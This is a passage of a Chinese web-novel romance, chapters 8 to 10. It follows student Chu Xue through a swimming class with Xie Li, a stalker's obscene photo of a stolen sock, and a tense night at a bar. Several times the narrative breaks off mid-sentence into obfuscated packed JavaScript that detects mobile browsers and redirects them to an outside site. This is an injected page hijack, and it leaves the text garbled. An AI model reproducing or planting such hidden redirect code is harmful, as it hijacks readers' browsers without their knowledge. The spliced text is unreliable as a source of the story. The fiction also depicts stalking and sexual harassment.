谢黎才大一，初中就开始健身，意志力和自制力都远超常人，王老师点了点头，鼓励道：“好好游。” 谢黎的腮帮子鼓起又凹下，他强迫自己做几道深呼吸，随后俯下身子微微前倾，前脚脚掌扣住台沿，双手大拇指勾住台沿内侧，做好出发姿势。 一旁的李俊杰本想随便游游，可看到谢黎如此专业，冒出的胜负欲让他也做起了出发准备。 随着一声尖锐的哨声落下，谢黎贴着水面整个人窜了出去，其他人还在发蒙，他与李俊杰几乎是同时间落水。 所有人的的注意力都在两人身上，初雪是第一次看游泳比赛，也跟着人群激动地站起了身。 谢黎像一条鱼一般游了出去，等划出一定距离，那双有力的腿立马接着拍打水面，同时配合着手臂往前游，水花在他们的身边炸开，两人的速度不分伯仲。 快到泳池的对岸，谢黎在水底下将身体一折，脚掌触及对岸的墙壁，猛地一蹬，整个人接力弹回，身边的李俊杰跟他死死咬住。 回程才是拉开差距的关键。 岸上的气氛组比水底下的还激烈，他们大喊加油，有的人还会尖叫，这种不输于专业的竞技比赛最能激发人深层次的热血。 初雪也很激动，看着水里那充满力量感的身躯，他混在人群中，也大喊了两三句加油，可谢黎似乎有些累了，在后半程开始稍慢于李俊杰，于是，人群中一道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这次要是没有组队，下次想多接触就难了，都没有建立良好关系的机会，他又要怎么说服谢黎跟他一起拍照呢？ 他心思杂乱，脑子里想了很多，脚却跟被钉死了似的。 另一边，谢黎偶尔就会扭一下头，透过人群的缝隙去看初雪，他的耳边是一遍一遍地邀请，他也在一遍一遍地拒绝。 他说他有想组队的人选，别人问起来是谁，他又支支吾吾没有回答。 众人见状还觉得谢黎是没想好，更加卖力的宣传自身。 这时，王老师大喊一声：“最后半分钟啊！没有组队的抓紧时间。” 时间一分一秒地流逝，心跳声咚咚咚吵得初雪心烦，他知道，跳一下一秒钟就过去了，跳三十下，他就没有机会了。 眼见谢黎身边的人还不见少，甚至被人群推得离他越来越远，初雪咬了一口口腔里的嫩肉，尝试着往谢黎的方向迈了一步，下一刻，谢黎立马将头扭过，他们隔着人群相互对视。 就好像……谢黎在等着他。 一步迈出去没有初雪想象中那么难，紧接着就是第二步第三步，他一路小跑到人群最外边儿，嘴里喊着谢黎的名字，伸出了手。 青葱指尖在人群中格外显眼，谢黎绝不会牵错。 “抱歉抱歉，我选好组队人选了。”谢黎将初雪的手包裹进掌心，挤开人群站在学长的旁边，脸颊边酒窝凹陷，“不好意思啊。” 嘴里说着不好意思，脸上又是另一幅模样。 8. 第 8 章 “首先，我们要先克服对水的恐惧，大家可以先用手抓着台沿，将头埋进水中，耳朵也要潜下去……” 池水比初雪想象中还冷上两分，一米六的水深，他的脚踩在池底，只能漏出半截脖子和脑袋，身边谢黎还能隐约看到肩膀，王老师在岸上讲解，他和谢黎挪到了角落的位置。 身体很快适应了水温，初雪抬头望向谢黎，好奇问：“耳朵不会进水吗？” “嗯？” 谢黎凑近一步，弯着腰与初雪持平，“学长你说什么？” 初雪凑到谢黎耳边，“我说，潜下去耳朵不会进水吗？” “不会。”谢黎摇摇头，转回脑袋看向初雪，这才惊觉他与初雪的鼻尖只相差几寸，谢黎脸上空白一瞬，愣愣地补充道，“有水压。” “啊，对喔。”初雪恍然大悟，他还没意识到两人的距离过近，这嘴一张，独属于他身上的茶香味弥漫出来，“那刚刚你游得这么快，水花这么大也不会进水吗？” “有的人会，我…还好。” 谢黎鼻尖微耸，借着泳镜的特殊，盯着面前那像樱花的唇，他回想起那果冻一般的触感，不动声色地咽了下口水。 还好现在泡在冰凉的泳池里，能够物理降降温。 “你们俩讲什么悄悄话呢！”一道浑厚的男音响彻整个游泳馆，王老师站在台上用手上的花名册挥舞，指着角落的两人，“别人都下潜了，就你们两个头还在外面，这么多话讲要不要上来讲。” 两人对视一眼，赶紧是深吸一口气往水下钻，生怕有别的同学钻出水面看热闹。 第一节课的内容并不多，主要就是学怎么在身体飘起来的情况下重新站在池底，王老师讲完就让他们跟身边的队友自由练习，初雪学会了在水中漂浮，但他的手却始终不敢离开池边。 “学长，我抓着你，我们先试一下把手放开，好吗？” 一直不放手是不可能学会游泳的，谢黎深知这一点，他给足初雪安全感，“别担心，我一直在你身边。” 初雪唇抿了抿，眼睛婉转一周。 他也有自己的小心思，以后想跟谢黎拍照，那肯定得有肢体接触。 可能多……碰碰、抱抱，谢黎习惯他之后能答应他一起拍照，也说不定呢？ 想到这，初雪点了点头，笑着说道：“好啊。” 初雪先是扶着池边，再将两只手递给谢黎，谢黎用磁性低沉的嗓音循循诱导，“先放一只手，放轻松，学长很厉害。” 不知道是不是谢黎的话有作用，初雪真的没有那么害怕了。 “好，接下来将膝盖收到胸前，往下踩，双手往下划。”这是刚刚王老师讲过的在水里站立的方法。 初雪憋着气，将腿收起来，使了劲往下踩，可他踩下去把腿都伸直了，脚掌却没有触碰到池底，初雪当即乱了神，人一害怕就会下意识的呼吸，冰冷的池水在他呼吸的瞬间涌进他的鼻腔。 下一瞬间，一股巨力将初雪从水里拉了起来。 初雪没有忘记最初的目的，顺着谢黎的力就用手臂勾住了他的脖子，整个人攀在了他的身上。 毫无破绽。 “咳！咳咳咳——” 谢黎单手托住初雪的腰，泳衣卷了边，滑嫩的腰侧和他的手臂紧紧地贴合在一起，他将泳镜推到头顶，紧皱眉，“呛到了？” “嗯。”初雪用鼻音哼出一声，含氯的池水非常刺激鼻腔，又酸又涩，他低头见谢黎的担心，回了一句，“我没事的。” 他的声音带了点鼻音，就像是哭了一样。 初雪本还想着多跟学弟抱一会儿，谁承想，下一秒他就被干净利落地推开了。 学弟的面部表情硬邦邦，语气冷硬，“没事就好，这样练还是太危险，学长你再适应一下吧。” “啊…好。”初雪扶在池边，隐在水下的手蜷成一团，他转了个身，藏在谢黎的视野盲区，嘴巴立马就瘪了下来。 怎么办，学弟好像不喜欢跟他有肢体接触，早知道就不这么莽撞了。 另一边，谢黎趁着学长转头的空隙，深吸两口气，垂头看着水面低声骂了一句。 看口型好像是“安分点”。 回想起刚刚初雪勾着他脖子，低头看他的模样，谢黎竟无端地有些恼怒。 学长对所有人都这样吗？今天如果不是他跟学长组队，是别的什么阿猫阿狗，学长也会在呛水之后趴在那人的身上，可怜地在他的肩头哼哼唧唧吗？ 更别说那小腰几乎是一握就折，说不定那人还会顺着细腰，假借帮忙之意，偷偷碰上瓷白棉花，棉花蓬松，狠狠抓上一把说不定还会从指缝间漏出来。 而他的学长呢？豆腐都被人吃干净了，估计还以为人家是对他好，甚至还会说上一句我没事。 谢黎越想越深，呼吸愈来愈急促，指甲又不受控地抠抓掌心，但他必须要克制住，如果抓出血了，恐怕会吓到他的学长。 初雪郁闷了两分钟就重新打起了精神。 这次失败不要紧，他跟学弟才刚认识，以后还有一整个学期的时间可以相互接触，下次他再小心一些，至少摸手的时候谢黎很自然。 “哔——！”王老师用力吹响口哨，大声喊道，“下课了啊！所有人把泳镜泳帽放回盒子里，泳衣泳裤统一带回去自行清洗！” 王老师话音刚落，许多同学哗啦啦地起身，谢黎见人这么多，问道：“学长你等等有课吗？” “没有。”初雪回问，“那你呢？你有吗？” 谢黎摇了摇头，提议道：“那我们晚些再收拾吧。” “好。” 现在人太多了，而且男更衣室里很多人喜欢溜鸟，晚些人少了，也不用挤来挤去。 - “学弟，我先去上个洗手间。”初雪用手指了指厕所方向。 “好。”谢黎点了点头，先行一步到达更衣室。 随着最后一个男生吹完头发离开，更衣室已经空了，谢黎用手串将柜子打开，伸手准备拿上换洗衣物和洗漱用品，眼前的白色V领短袖让他的指尖一顿。 他回头狐疑地看了眼门口，确认无人经过，这才快速将脸埋进手中的布料。 一缕清甜的茶香顺着呼吸滑进他的鼻腔，谢黎埋了约莫十秒钟，抬起头缓了两口气，一抹可疑的红痕染上他的脸颊。他将衣服恢复原样，又转身幽幽地看向更衣室凳子的方向。 等初雪来到更衣室，谢黎已经进到洗浴室进行清洗。 他从柜子里拿出自己的短袖长裤和内丨裤，短袖的领口和衣身沾了一点水渍，有点润，初雪没有在意，想着可能是谢黎拿衣服的时候不小心弄到了。 初雪顺着水声，找到了谢黎洗澡的位置，他撩开谢黎隔壁的帘子，跟他打了个招呼：“学弟，我来了。” “嗯。”学弟的应声沙哑，带着几分隐忍。 隔壁水声格外大，应该是将水流开到了最大，初雪没有发现谢黎的异样，将身上湿透的泳衣脱了下来。 花洒里喷出温热的水流，冲刷着他的身体，初雪舒服地叹出一口气，他习惯性地伸手一勾，却勾了一场空。 “诶。” “怎么？”隔壁低沉的声音又响了起来。 初雪咬了咬下唇，有些不好意思道：“这里原来没有沐浴露啊……” 他还是经验太少，不知道来游泳馆要自备好沐浴露，现在身上泡了那么久含氯的池水，没有沐浴露肯定洗不干净。 一个瓶装的塑料物轻撞到初雪的脚，他垂头一看，是一款男用的三合一型沐浴露，是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203411|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗浴隔间的底下被递过来的。 初雪将沐浴露拿起来，呆呆的、认真地说：“谢谢。” “不用。”谢黎的回应很快，但他的声音更哑了。 “学弟你没事吧？我听你声音怪怪的。”初雪歪了歪脑袋，看向隔壁，眉宇间含着关切愁容。 对面呼吸一滞，谢黎清了清嗓子，“我没事。” “好哦。” 既然谢黎说了没事，初雪就没多想，他将沐浴露挤到手上，怕谢黎还需要用，就放回到隔间的底部。 等初雪洗完出来，谢黎的淋浴声还没有停。 初雪以为自己已经洗得够久了，没想到学弟比他还爱干净，就像来时那样，初雪离开时也跟谢黎打了个招呼。 “学弟，我先去吹头发了！” 谢黎浴室的帘子微微一动，“好。” 初雪汲拉着拖鞋，将湿透的泳衣放进他的单肩包里，还好周五下午只有体育课，他没有带书，有空余地方能放。 等他把头吹干，谢黎终于从洗浴间出来，他戴回了方框眼镜，洗完澡后整个人神清气爽。 “我等等你一起走吧。”初雪把风筒递给谢黎，眼睛看着镜子里的谢黎。 谢黎将风筒接过，无意间随口道：“学长在临水，出了体育馆没走两步路我们就要分开了。” “啊——”初雪轻蹙眉，“你怎么我在临水？” 谢黎眼神飘忽一瞬，但很快就镇定下来，他看着初雪微微一笑，眼镜下的那张脸无辜又老实，“开学的时候，学长跟我说过。” “哦，这样。” 这下心虚的变成了初雪。 他直到今天才知道学弟叫什么名字，可学弟连他随口说的宿舍楼都记得一清二楚，对比之下，倒是他不上心。 谢黎吹完头，两人坐在长椅上穿鞋，初雪从凳子底下将他的鞋子拿出来，只一眼，他就发现了异常。 “我的袜子呢？”他俯下身去地面寻找，之前塞在两只鞋里的一双黑袜只剩下一只，“我记得都放进了鞋子里啊。” 他一共就三双袜子，一双白的被覆面扯下掉酒吧了，一双黑的现在在游泳馆失踪了，还有一双灰的，估计在阳台还没干。 初雪欲哭无泪，这也不像是遭小偷啊，哪有小偷只偷一只袜子的？ 怎么的也得偷一双吧。 “是不是人多的时候不小心被被人弄掉了。”谢黎一脸关心，也低下头帮初雪找，“当时我们都不在这儿，可能别人没注意。” “好吧。”不然还能怎么样呢，初雪无奈，只穿一只袜子太奇怪，他只好裸脚穿鞋，不太舒适。 两人并肩走出游泳馆，如谢黎所说，几乎是刚出游泳馆，走到街道上，两人就要分开。 初雪紧握着手心的手机，内心焦虑。 他想加学弟的微信，但就像是他不好意思跟学弟组队一样，他从来没有主动向别人要过联系方式。 等到挥手说拜拜了，初雪都没有开这个口。 谢黎看着学长的背影，就像是初次，他站在临渊书院门口时那样，他摘下自己的眼镜，等着学长的背影从他的视线中消失。 可万万没想到，本该一直往前走的学长募地转过了身。 “操……” 谢黎猛地转过身将眼镜戴好，刚刚才洗完澡又出了一身冷汗，他装模作样地往前走，果不其然，一道清亮的声音叫住了他。 “谢学弟。” 谢黎止住了步伐，回头询问，“怎么了学长？” 初雪紧张地脸色泛红，他扣了扣自己的裤腿缝，鼓起勇气问道：“我可以加一下你的联系方式吗？” 同一时刻，微风吹动初雪柔软的发丝，发丝又不知道飘进了谁的心里。 激起阵阵涟漪。 9. 第 9 章 “当、当然。”谢黎愣了一刻，反应过来后点头如捣蒜地应了下来。 初雪闻言松了一口气，学弟真是性格极好的人，他拿出手机，点开微信，“我扫你？” “好。”谢黎动作略显慌忙地摸了摸裤子口袋，没有摸到手机，又往胸前探了探，最后发现是在包里。 初雪早已准备好，当他正准备拿起手机扫谢黎时，谢黎却突然将手机收了回去。 “等、等一下啊学长。” 谢黎拿着手机划划划，点开一个微信的公众号，保存图片，然后把纯黑的头像给换掉，顺带名字也改了，这才让初雪扫码。 [【雪梨.jpd】：我通过了你的朋友验证请求，现在我们可以开始聊天了] — 回到宿舍，初雪点击面前戴着雪梨头套的线条小狗头像，查看大图，心想，学弟是很喜欢吃雪梨吗？名字和头像都是雪梨。 看着空白一片的聊天框，初雪切出后台，点击进入小白鼠。 搜索栏一点点被填满，没多久，满屏的内容显示出来。 【处朋友必杀技——不越界狠狠拿捏】 这是一条点赞量高达五千的帖子。 初雪赶紧是点进去。 【是不是还在苦于不会处朋友？五步教会你，保管你将他拿捏得死死的！】 【第一步：建立专属昵称。】 【注意！专属昵称≠兄弟×，同学×，老铁×】 初雪逐字学习。 【正确专属昵称＝将他的名字＋老师√，例如“张三老师，这道题我不会做，可以教教我吗？”可以迅速拉近关系。】 初雪皱了皱眉，他大二谢黎大一，他也没有不会的题要谢黎教，而且……谢黎老师，好像也不太合适。 这个教程是不是不太靠谱啊？ 初雪往下翻了翻评论区，果然有人提出这个问题。 【博主博主，年下叫老师不太合适怎么办？】 上有政策下有对策，底下有条高赞回复：【用阿就行了，阿三阿四嘻嘻。】 阿？初雪思索一瞬，阿……黎，好像确实可以！ 初雪默默记下，他这次绝不会像在泳池如此莽撞，一定要和谢黎成为好朋友！ 就在初雪准备继续往下学时，他床位对面的上铺突然传来很重的咚一声，紧接着就是一道粗口：“卧槽！五点了！” 杜华南一把拉开帘子，他看了眼手机又看向坐在凳子上的初雪，“你怎么没叫醒我啊？操，点名了你也不告诉我？不会是上次开两句玩笑你还记仇了吧？” “我不知道你也是上游泳课。”初雪把手机放下，不打算吃下这个哑巴亏，“我也没有义务叫你起床。” 谁知杜华南的反应更剧烈了，他几乎是低吼：“我上学期跟你说你选哪个我选哪个，你现在跟我说你不知道？你根本就是——！” 杜华南强行把溜到舌尖的话咽了回去，他俯视着床底下的初雪，明明他都这样“发疯”了，那人却还是无波无澜。 初雪站起身，有一个问题始终困扰着他，他仰起脑袋认真地问杜华南：“你是讨厌我吗？” “我没、”杜华南话还没说完，一阵手机铃声将他打断。 “嘟嘟嘟——” 他眼睁睁地看着初雪拿起手机，脸上就如同冰水融化，眼里都充满了暖意。 跟他对视时简直是判若两人。 妒火瞬间就点燃了杜华南的心窝，他很想大声叫嚣，问初雪为什么这样对他，为什么他的眼里永远都没有他。 可还没等他问出口，初雪先一步堵住了他的嘴。 “我不管你讨不讨厌我，今后我们都不要再有多余的交流了。” 凉飕飕又轻飘飘。 这话说完，初雪就起身打开房门，去到了阳台，接通了电话。 “喂。”他轻声。 “欸——小雪啊。”对面是一道慈祥的女音，是一个妇人。 初雪扬起嘴角，眉梢舒缓下来，眼睛弯成月牙，尽管只是通着电话，看不见对方的人，他也能如此喜悦。 “妈妈，你怎么打过来了？” “近些天总想着你。”妇人笑呵呵道。 初雪能听到母亲那边的背景音，不算嘈杂，只是几个护士在闲聊。 “霍院长又跟儿子聊天呢？” “那可不，院长能不能开视频，让我见见小帅哥哈哈哈。” “哎呀你们别贫了。”霍晓兰笑着冲旁边的护士摆了摆手，将话筒重新放回耳边，问道，“小雪在学校开心吗？” “当然开心。”刚吵完一架的初雪脸不红心不跳。 “那在学校有交新朋友吗？”霍晓兰试探地问了一句。 初雪刚想像曾经无数次那样，回答标准答案，可脑子里却突然闪过了谢学弟的脸，欲说出口的话就这样卡了一下。 霍晓兰没有放过这个破绽，她语气骤然高昂起来，“我们小雪真交朋友了？！” “不是。”初雪下意识否认，明明之前霍晓兰问这句话，他都会立马说有交新朋友，现在却在否认这件事。 知子莫若母，霍晓兰哪能不知道之前初雪都在敷衍她，现在听初雪这心虚的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“诶好，快去吃饭吧，吃多点。”霍晓兰应了一声。 电话挂断的那一刻，初雪猛地将阳台门打开，他脚下还穿着宿舍的拖鞋，就这么快速跑下了楼。 循着记忆的方向，初雪找到了宿舍楼底下的那棵树，他在四周找了一圈，却再也没见到那个戴着鸭舌帽的男人。 初雪又重新回到那棵树，他站在树底下，像鸭舌帽男人那样，仰头看三楼的方向，这才发现，面前的树叶上，夹着一张像卡片的物体。 将其取下后，才发现是一张照片。 初雪先看到的是照片的背面，上面的字体异常熟悉。 [为什么不穿我送你的袜子？我很伤心。宝宝，你的袜子也很香。] 初雪的眉头紧锁，将照片翻转。 只见一只湿透的黑色袜子暴露在镜头下，袜子上面，还沾染着一股粘稠的白色糊状物。 分量极其得多。 10. 第 10 章 是个男生都能明白那只黑色袜子上是什么腌臜液体，一股怒气猛地冲上初雪天灵盖，初雪脸上酡红，呼吸愈发急促，他一把将手中的照片捏进掌心，抬脚迅速回到宿舍。 他快速到洗手间换好衬衫马甲，还是旧的那一套，上面有粉色的酒渍，手臂穿过袖口时，初雪一顿，回想起刚刚在树底下仰头时看到的画面，一股寒意从他的尾椎骨往天灵盖上钻。 他突然意识到，今天或许并不是覆面第一次视丨奸他。 覆面为什么给他寄包裹？为什么知道他的衬衫洗不干净？ 因为两周前他的衬衫正晒在阳台，他看到了。 这十几个日夜，他到底还窥探他多少次？往更深处想，也许今天并不是初雪发现了他，而是他故意想让初雪发现。 这样就能达到他的目的，用照片逼迫初雪接受他的“好意”。 穿上那双他精心挑选的袜子。 想到这，初雪嗓子里哼出一声冷笑，他将西装裤套上，领带绑好。 灰色的袜子没有干他就用吹风机烘。 一切收拾好，初雪操起装着高奢套装的快递箱打开宿舍门，大步往市中心地下酒吧赶去。 可就在初雪离开后不久，原本安静下来的301宿舍又传出了开门声。 - 下了车，初雪心里的气顶到胸口，不减反增。 初雪径直走向路边一座红色复古电话亭，电话亭很大，足以站下十余人，他将里边儿的听筒拿起，手指摁在拨盘上转动一周，发出咔咔咔地声响，拨盘复位，电话亭隐藏门缓缓关闭，初雪脚底下的地板渐渐向下移动。 不多时，名为“忘忧”的酒吧呈现在眼前。 店门口，一名服务员正在酒吧门口贴招聘广告，看到初雪来，他瞪着眼，惊讶道：“初雪，好久没见到你。” 初雪没空停下跟人闲聊，不过都是些点头之交，他随口编了个学业忙的理由，就打发了过去。 进到前台，正巧酒吧老板就坐在前台电脑前，键盘打得哒哒响。 老板是个三十岁左右正值壮年的男人，虽然经营着一家酒吧，也酷爱喝酒，但却没有啤酒肚。 偶然一抬头，他看到初雪走来，脸色顿时发青，站起身紧张道：“你怎么来了？” 初雪把快递箱啪得放在前台的桌子上，觉得老板莫名其妙，之前又一直催他来上班，现在他来了又不高兴。 他没有回答这个问题，转而反问道：“老板，上上周开大包厢，你认不认得那个只漏出上半脸的有钱人？” “啊？”老板一顿，黑色眼珠下意识往一旁挪动，不跟初雪对视，“不认得啊。” 老板不认得大客户，这说出去谁信？ 初雪双眼微眯，倒没继续追问，而是换了个方式，“那我想查一下大包厢那天，走廊的监控。” 当时覆面吻他的时候，有摘下面罩，只是他的眼睛被遮住了，没看到。 老板挥挥手坐回凳子，又放松下来敲起键盘，“哪里有，七天监控自动覆盖的。” “那……他们最近还有办类似的聚会吗？”初雪问。 “没有。” 眼见在老板身上得不到有效的信息，初雪叹了口气，将快递箱重新抱回怀里，抬脚往舞池方向走去。 如果覆面经常来这个酒吧的话，一定还有碰面的机会，事已至此，他也不可能一直躲着不来打工，虽然主动权不在初雪的手上，但好歹要让覆面知道他的态度。 他才不会任人搓圆捏扁。 可还没等初雪走出第一步，哒哒哒的声音骤停，老板又站起身叫住他，“欸！你上哪儿去啊。” 初雪轻歪个头狐疑地看了眼老板，又回想起刚刚老板紧张心虚的模样。 难不成覆面今天就在里面？ 初雪轻轻抬脚，观察老板的反应，时间好像就此变得缓慢，脚掌慢慢接触到地面，老板鼻翼翕动，脸部肌肉微微抽动。 他没有放过老板面部这些细微的变化，初雪粲然一笑，转身快步接近舞池，背对着老板摆摆手，说：“上班。” 如果他运气好，今天就能把覆面揪出来，然后狠狠地将袜子甩在他的脸上，警告他别这么放肆。 除非还要被踹一次裆。 老板被晃了下眼，错过了拉住初雪的最佳时机。 “操。”老板飞速掏出手机播出通话。 很快，电话那头接上了。 “初雪去了？”是一个低沉的男声。 “你赶紧过来，里面那伙儿人正好今天过生日，他早不来晚不来偏偏周五来”老板眉头紧皱，平常周五初雪都会休息一晚上，上上周他还是付了三倍工资，好说好歹才把人劝过来，怎么会今天突然跑来还要找人，“你是不是刺激他了？” 听筒那边整整陷入五秒沉默，“什么生日？谁过生日？” 老板神色凝重，幽幽从口中吐出一个名字。 “萧旭。” 话音刚落，老板耳边传来嘟嘟嘟的挂断声。 他看了眼舞池的方向，又坐回前台看这几个月的账。 他能传消息已仁至义尽，至于初雪会遇到什么，都与他无关。 约莫十分钟，一个人影覆在老板的身上，老板抬头，只见一身名牌的男生站在前台，他以为也是来给萧旭过生日的，伸出手心说：“身份证登记一下。” 证件扫描，很快电脑上显现出来者身份。 杜华南，男，20。 - 初雪推开舞池门，一进去就感受到不同寻常，平常震得人耳膜疼的DJ声消失了，取而代之的是舒缓的音乐。 而且整个大厅也不像往常拥挤，舞池上，几个身着西装的男人跳着不熟练的舞蹈，不是酒吧的工作人员。 “好！哈哈哈——”一阵不刺耳的笑声响起，舞池上的男人红着脸停下了舞蹈。 初雪循着声音看去，只见舞池下的大卡座中间，一个穿着T恤短裤，长相精致的男生鼓着掌，他笑起来很阳光，初雪在角落看到，都会被感染。 更别说围着男生的那十几个男人。 因为舞池没有躁动的音乐，处于门口角落位置的初雪也能清晰地听到男生说话。 “都说啦！你们不用穿得那么正式，都好不乖。” 他的周围有两个人离得最近，有个长相很痞的男人叼了根棒棒糖，他揉了揉精致男生的肩膀，“看哥今天这身怎么样。” 他穿了个粉红色的衬衫，衬衫袖子搂到手臂上，底下配着白色的西装裤。 正好处于正经和不正经之间。 “还是一样花里胡哨。”男生笑着点评了一句，话音一转，“但秦哥哥穿着正正好。” “小旭会不会冷？”另一边的男人推了推脸上的眼镜，伸手去拿挂在沙发边的西装，放在男生的腿上，“这里的空调开得比较低。” “谢谢你，裴……” 初雪没有继续听，往员工后台走去。 不知道覆面有没有在这群人里面，他现在得去拿酒，至少有酒才能近距离接触。 一个一个慢慢认。 快递盒被放进员工更衣室里，酒吧也有专门的员工洗浴室，初雪经常是上完班才回学校，两周前那是意外。 有人走进后台，正是那个刚刚在酒吧外贴招聘的同事，他是个热心的，抓着初雪就聊起来：“初雪初雪！你知道吗？外边儿那个是萧家小少爷！萧旭！” “萧家？”初雪不认识什么萧家，对同事说的也一概不知。 同事见他啥也不知道，更兴奋了，抓着初雪就坐在更衣室凳子上叭叭：“你不知道啊？临州萧家，他家也老有钱了，他家这个小儿子从小就锦衣玉食的，他爸开媒体发布会的时候，还特地说以后的家产都是他的。” 初雪点点头，“是坐在卡座中间的那个？” “对对对！”同事挨的初雪近了些，“长得很漂亮那个，不过……” 同事看了眼垂着眸的初雪，紧急将嘴里的话咽了下去，初雪见他止声，挑眼问：“不过什么？” 同事回过神来，“不过他家啊，早些时候很乱——” “酒调好了！你们快点送上去啊！”同事话还没说完，调酒师进到后台将他们打断，喊他们出去工作。 “诶好！”初雪应和一声。 同事和初雪一人端着一个托盘，他的嘴还没停，边走边说：“这萧家小少爷过生日，外面那些公子哥直接把酒吧包了下来，你今天来得也巧，就他们这几个人，没那么忙，可以摸鱼。” 一说到摸鱼，初雪笑了起来，随即，他又想到了坐在前台的老板。 老板反应那么紧张，该不会是因为今天工作量少，不想花冤枉钱给他们发工资吧？ 很有可能。 初雪神色恹恹，今晚能揪到覆面的可能性又少了两分。 这次酒液的配置和上次差别很大，上次是怎么烈怎么上，这次的托盘上却几乎都是小甜酒，颜色粉粉绿绿很是好看。 初雪虽在酒吧工作，但只是普通的服务员，没有陪酒服务，所以也很少喝酒。 听说人喝了酒会壮胆，很可惜，初雪目前还没有什么事需要他去壮胆。 进到舞池，跳舞的人又换了几个，初雪跟同事并肩走，一股巨力扯过初雪的手臂，还好初雪拿托盘拿得稳，不然这好几杯酒都得撒了。 杜华南将初雪抓到自己身边，眼神从头到脚扫遍初雪全身，嘲讽道：“呵，原来你在这里上班啊。” 初雪紧皱着眉，想将杜华南的手甩开，可手里还要托托盘，他根本不敢做太大的动作，他难得出现了怒容，“你跟着我过来的？！” “不然呢！”杜华南脸上浮上一抹红晕，初雪终于对他说的话做的事有了别样的反应，他爱惨了初雪为他生气的模样，或许给他来个一巴掌会更好，“怪不得每次都那么晚回宿舍！在这儿能赚得更多吧？” 同事看到杜华南一身富贵样，把手上的托盘放在，赶紧是跑去前台喊老板。 杜华南吼得很大声，更别说今天酒吧内本来就安静，一瞬间，所有人的视线都往他们身上聚集。 坐在卡座上的几个男人看到初雪，神色各异，这些人看似在看两人的热闹，实则视线都聚焦在某一点。 这两周，公子哥们私下或多或少都来过忘忧酒吧，有的喝了两杯酒就走，有的要拿着酒杯到处逛。 不知道是在找些什么。 初雪顺了两口气，把情绪稳定下来，“有什么事回去再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203413|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我在上班。” 可杜华南不依不挠，“做了还不让人说？早知道你的屁股用钱就能——” “杜华南！”初雪不想被人跟个猴儿一样看笑话，更别说他是被人作践的那一方。 杜华南终于止了声，将初雪的手臂放开，他看着初雪眼眶气得微红的模样，罕见地慌了神，“初雪，我——” “不好意思啊两位。”一名今晚包场的客人打断杜华南，他走到两人面前，推了推架在脸上的眼镜，赫然是当时坐在萧旭身旁的那一位，“我们今天在过生日，也包了场，你们……” 初雪没有再看杜华南，连忙向客人微鞠两下躬，“真的非常抱歉，先生，我们很快处理好。” 老板到这时才姗姗来迟，他身后跟着两名保安，颔首示意杜华南，“把这位先生请出去。” 可还没等保安动作，那个戴眼镜的男人先开了口：“没事，不用如此大动干戈，直接让这位小同学跟我们一起过生日吧，正好人多也热闹，这也是小旭的意思。” 此话一出，杜华南不由得正眼看向眼镜男，就这一眼，他直接就愣在了原地。 富人间本来就有一个圈，圈子就这么点儿大，每次什么晚会什么拍卖，见来见去也都是这么些人，因此，只消一眼，杜华南就认出了面前这人， 裴家老二，裴靳。 裴靳为什么会在这儿？杜华南再去看还在卡座上的那些人，一眼就看到了萧家小少爷，还有他身旁着粉西装的秦家独子，秦佑贤。 在场的都是些世家，而他杜华南只是小小暴发户的儿子，留在这里过这个生日，说不定能结识更多的人脉，就这利益，杜华南哪有什么拒绝的道理。 更别说拒绝了会被直接轰出酒吧。 萧旭坐在卡座上，笑着听裴靳讲述事情经过，随后望向杜华南，“你叫什么名字呀哥哥？” “啊，杜、杜华南。” 杜华南有些心不在焉，回想起自己刚刚说过的话，以及那发红的眼眶，他就总是想去人群中找初雪。 萧旭微微张大了嘴，哦了一声，他看着杜华南飘忽的眼神，笑起来时嘴角抽了抽，“那我叫你杜哥哥，可以吗？” 他没有等到回答，转头一看，原来是初雪送新的酒上来了。 “这是蜜桃莫吉托，口感香甜清爽，度数很低。”一杯粉粉嫩嫩的甜酒放在桌子上。 “这一杯是草本乌龙荔枝葡萄酒，玫瑰风味，这是……” 初雪没喝过这里的绝大部分酒，但他却能一字不差地全部介绍出来，偶而还会骗到一些客人，让他这个小白帮他推荐品种。 很少有人会听服务员介绍酒，但初雪在讲时，所有人都安静了下来。 初雪总觉他们投来的视线有些熟悉，却又无从抓起，将所有的酒放至台面后，他鞠了个躬准备离开，“慢饮慢用。” 下一刻，舞池大门大开，一个人快步走进内场，径直走到服务员身边。 “学弟？”初雪歪了歪脑袋，嘴角不自觉上扬，“你怎么在这儿？” 谢黎紧张地抓着初雪的肩膀，上上下下地大致检查了一遍他的全身，看到初雪有些泛红的眼眶，眉心一皱，低声问：“他们欺负你了？” “嗯？”初雪向前走了一步，他其实在这个环境也不太自在，有谢黎在让他莫名有点安心，“没事。” 